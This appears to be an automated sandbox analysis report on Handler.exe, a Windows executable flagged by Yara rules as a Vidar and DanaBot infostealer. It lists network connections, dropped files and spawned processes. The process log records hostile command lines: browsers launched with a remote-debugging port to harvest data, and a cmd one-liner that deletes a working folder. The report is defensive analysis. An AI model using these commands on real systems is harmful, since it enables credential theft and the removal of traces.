Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50276 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50446 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50285
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50284
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50287
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50286
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50289
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50288
Source: unknown	Network traffic detected: HTTP traffic on port 50375 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50539 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50290
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50292
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50291
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50294
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50293
Source: unknown	Network traffic detected: HTTP traffic on port 50562 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50627 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50491 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50552 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50311 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50414 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50260 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50357 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50500 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50598 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50517 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50219 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50603 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50448 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50461 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50564 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50237 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50380 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50529 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50615 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50586 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50402 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50473 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50272 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50345 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50530 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50637 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50249 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50379 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50294 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50436 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50495 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 50229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50296 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50613 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50588 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50404 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50399 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50542 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 50509 -> 443

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 116.203.164.230:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.209.157:443 -> 192.168.2.5:50137 version: TLS 1.2

E-Banking Fraud

Yara detected DanaBot stealer dll

Source: Yara match	File source: 22.0.us0r9ri58y.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000000.2625608895.0000000000419000.00000020.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\CrypterTest1[1].exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\us0r9ri58y.exe, type: DROPPED

Source: C:\Users\user\Desktop\Handler.exe

Code function: 1_2_0040B846 CreateDesktopA,

1_2_0040B846

System Summary

Malicious sample detected (through community Yara rule)

Source: 1.2.Handler.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io
Source: 22.0.us0r9ri58y.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\CrypterTest1[1].exe, type: DROPPED	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: C:\ProgramData\us0r9ri58y.exe, type: DROPPED	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen

Source: C:\ProgramData\us0r9ri58y.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\Handler.exe	Code function: 0_2_02E66CAF	0_2_02E66CAF
Source: C:\Users\user\Desktop\Handler.exe	Code function: 0_2_02E63CA9	0_2_02E63CA9
Source: C:\Users\user\Desktop\Handler.exe	Code function: 0_2_02E66CB0	0_2_02E66CB0
Source: C:\Users\user\Desktop\Handler.exe	Code function: 0_2_02E63CB8	0_2_02E63CB8
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041A051	1_2_0041A051
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00424071	1_2_00424071
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041E0E1	1_2_0041E0E1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00432081	1_2_00432081
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042F0B1	1_2_0042F0B1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00419161	1_2_00419161
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042F171	1_2_0042F171
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041A111	1_2_0041A111
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041B111	1_2_0041B111
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00431111	1_2_00431111
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004241C1	1_2_004241C1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004301D1	1_2_004301D1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041E1F1	1_2_0041E1F1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00421191	1_2_00421191
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041A1B1	1_2_0041A1B1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041A251	1_2_0041A251
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00430261	1_2_00430261
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00419201	1_2_00419201
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042F211	1_2_0042F211
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00424281	1_2_00424281
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041B2A1	1_2_0041B2A1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041E2B1	1_2_0041E2B1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00424341	1_2_00424341
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042F301	1_2_0042F301
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00419331	1_2_00419331
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004043E1	1_2_004043E1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004243E1	1_2_004243E1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004303F1	1_2_004303F1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042F3F1	1_2_0042F3F1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00431381	1_2_00431381
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041A441	1_2_0041A441
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00432411	1_2_00432411
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004194F1	1_2_004194F1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042F491	1_2_0042F491
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00431501	1_2_00431501
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041B521	1_2_0041B521
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042F521	1_2_0042F521
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00430531	1_2_00430531
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042F5C1	1_2_0042F5C1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004305D1	1_2_004305D1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041B5F1	1_2_0041B5F1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004195B1	1_2_004195B1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00403641	1_2_00403641
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041A631	1_2_0041A631
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00431631	1_2_00431631
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004206D1	1_2_004206D1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004186F1	1_2_004186F1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042E681	1_2_0042E681
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041A741	1_2_0041A741
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042E741	1_2_0042E741
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00423771	1_2_00423771
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042E7F1	1_2_0042E7F1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004207B1	1_2_004207B1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042F7B1	1_2_0042F7B1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042F851	1_2_0042F851
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00419861	1_2_00419861
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00418811	1_2_00418811
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041A811	1_2_0041A811
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00403811	1_2_00403811
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00430831	1_2_00430831
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00423831	1_2_00423831
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004188E1	1_2_004188E1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004238F1	1_2_004238F1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042F8F1	1_2_0042F8F1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042E891	1_2_0042E891
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004208A1	1_2_004208A1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041B8B1	1_2_0041B8B1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00420941	1_2_00420941
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042E951	1_2_0042E951
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041A901	1_2_0041A901
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00403901	1_2_00403901
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004199F1	1_2_004199F1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004239F1	1_2_004239F1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042F981	1_2_0042F981
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041AA01	1_2_0041AA01
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00430A11	1_2_00430A11
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00423AC1	1_2_00423AC1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041AAD1	1_2_0041AAD1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00419A81	1_2_00419A81
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00420AA1	1_2_00420AA1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00403AB1	1_2_00403AB1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041AB71	1_2_0041AB71
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00430B31	1_2_00430B31
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00403BC1	1_2_00403BC1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00423B91	1_2_00423B91
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041BBA1	1_2_0041BBA1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042DC41	1_2_0042DC41
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00418C71	1_2_00418C71
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00419C01	1_2_00419C01
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00430C01	1_2_00430C01
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042ECC1	1_2_0042ECC1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00430CD1	1_2_00430CD1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00423CE1	1_2_00423CE1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041BCB1	1_2_0041BCB1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042FCB1	1_2_0042FCB1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041BD71	1_2_0041BD71
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042DD01	1_2_0042DD01
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00419D11	1_2_00419D11
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042FDD1	1_2_0042FDD1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042DDE1	1_2_0042DDE1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00423DF1	1_2_00423DF1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041AD91	1_2_0041AD91
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00430E21	1_2_00430E21
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041AE31	1_2_0041AE31
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00418EF1	1_2_00418EF1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00420E91	1_2_00420E91
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00436EA2	1_2_00436EA2
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042FEA1	1_2_0042FEA1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00419EB1	1_2_00419EB1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041AF61	1_2_0041AF61
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00430F61	1_2_00430F61
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00420F61	1_2_00420F61
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00419F71	1_2_00419F71
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00423F01	1_2_00423F01
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042DF31	1_2_0042DF31
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00430FF1	1_2_00430FF1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042DFF1	1_2_0042DFF1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042EFA1	1_2_0042EFA1

Source: Joe Sandbox View	Dropped File: C:\ProgramData\us0r9ri58y.exe 3454A44D19DA21B765B39886811918F59092CD9B1D0FCD9020F9779283B27B74
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\CrypterTest1[1].exe 3454A44D19DA21B765B39886811918F59092CD9B1D0FCD9020F9779283B27B74

Source: C:\Users\user\Desktop\Handler.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4276 -s 912

Source: CrypterTest1[1].exe.1.dr	Static PE information: Number of sections : 11 > 10
Source: us0r9ri58y.exe.1.dr	Static PE information: Number of sections : 11 > 10

Source: Handler.exe, 00000000.00000002.2374277897.00000000012FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Handler.exe
Source: Handler.exe, 00000001.00000002.2661407306.00000000014C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs Handler.exe

Source: Handler.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 1.2.Handler.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76
Source: 22.0.us0r9ri58y.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\CrypterTest1[1].exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: C:\ProgramData\us0r9ri58y.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers

Source: Handler.exe

Static PE information: Section: .idata ZLIB complexity 1.000327778259362

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@75/222@51/18

Source: C:\Users\user\Desktop\Handler.exe

Code function: 1_2_004201FF CreateToolhelp32Snapshot,Process32First,

1_2_004201FF

Source: C:\Users\user\Desktop\Handler.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\MRRZE9YK.htm

Jump to behavior

Source: C:\Users\user\Desktop\Handler.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8880:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4276

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\6c768706-bc89-4eff-bd05-054fe79ae73e

Jump to behavior

Source: Handler.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\ProgramData\us0r9ri58y.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\ProgramData\us0r9ri58y.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: Handler.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\Handler.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Handler.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: us0r9ri58y.exe, 00000016.00000000.2626785777.00000000008FF000.00000008.00000001.01000000.00000014.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: us0r9ri58y.exe, 00000016.00000000.2626785777.00000000008FF000.00000008.00000001.01000000.00000014.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: us0r9ri58y.exe, 00000016.00000000.2626785777.00000000008FF000.00000008.00000001.01000000.00000014.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: us0r9ri58y.exe, 00000016.00000000.2626785777.00000000008FF000.00000008.00000001.01000000.00000014.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');

Source: Handler.exe	Virustotal: Detection: 29%
Source: Handler.exe	ReversingLabs: Detection: 28%

Source: C:\Users\user\Desktop\Handler.exe

File read: C:\Users\user\Desktop\Handler.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Handler.exe "C:\Users\user\Desktop\Handler.exe"
Source: C:\Users\user\Desktop\Handler.exe	Process created: C:\Users\user\Desktop\Handler.exe "C:\Users\user\Desktop\Handler.exe"
Source: C:\Users\user\Desktop\Handler.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4276 -s 912
Source: C:\Users\user\Desktop\Handler.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2496 --field-trial-handle=2328,i,896341392617718342,12355125796449792821,262144 /prefetch:8
Source: C:\Users\user\Desktop\Handler.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2752 --field-trial-handle=2536,i,12924977744264181476,18165705626258018536,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2272 --field-trial-handle=2100,i,17242345688467426598,17509230438713182026,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6920 --field-trial-handle=2100,i,17242345688467426598,17509230438713182026,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7068 --field-trial-handle=2100,i,17242345688467426598,17509230438713182026,262144 /prefetch:8
Source: C:\Users\user\Desktop\Handler.exe	Process created: C:\ProgramData\us0r9ri58y.exe "C:\ProgramData\us0r9ri58y.exe"
Source: C:\Users\user\Desktop\Handler.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\8q9zu" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6988 --field-trial-handle=2100,i,17242345688467426598,17509230438713182026,262144 /prefetch:8
Source: C:\Users\user\Desktop\Handler.exe	Process created: C:\Users\user\Desktop\Handler.exe "C:\Users\user\Desktop\Handler.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process created: C:\ProgramData\us0r9ri58y.exe "C:\ProgramData\us0r9ri58y.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\8q9zu" & exit	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2496 --field-trial-handle=2328,i,896341392617718342,12355125796449792821,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
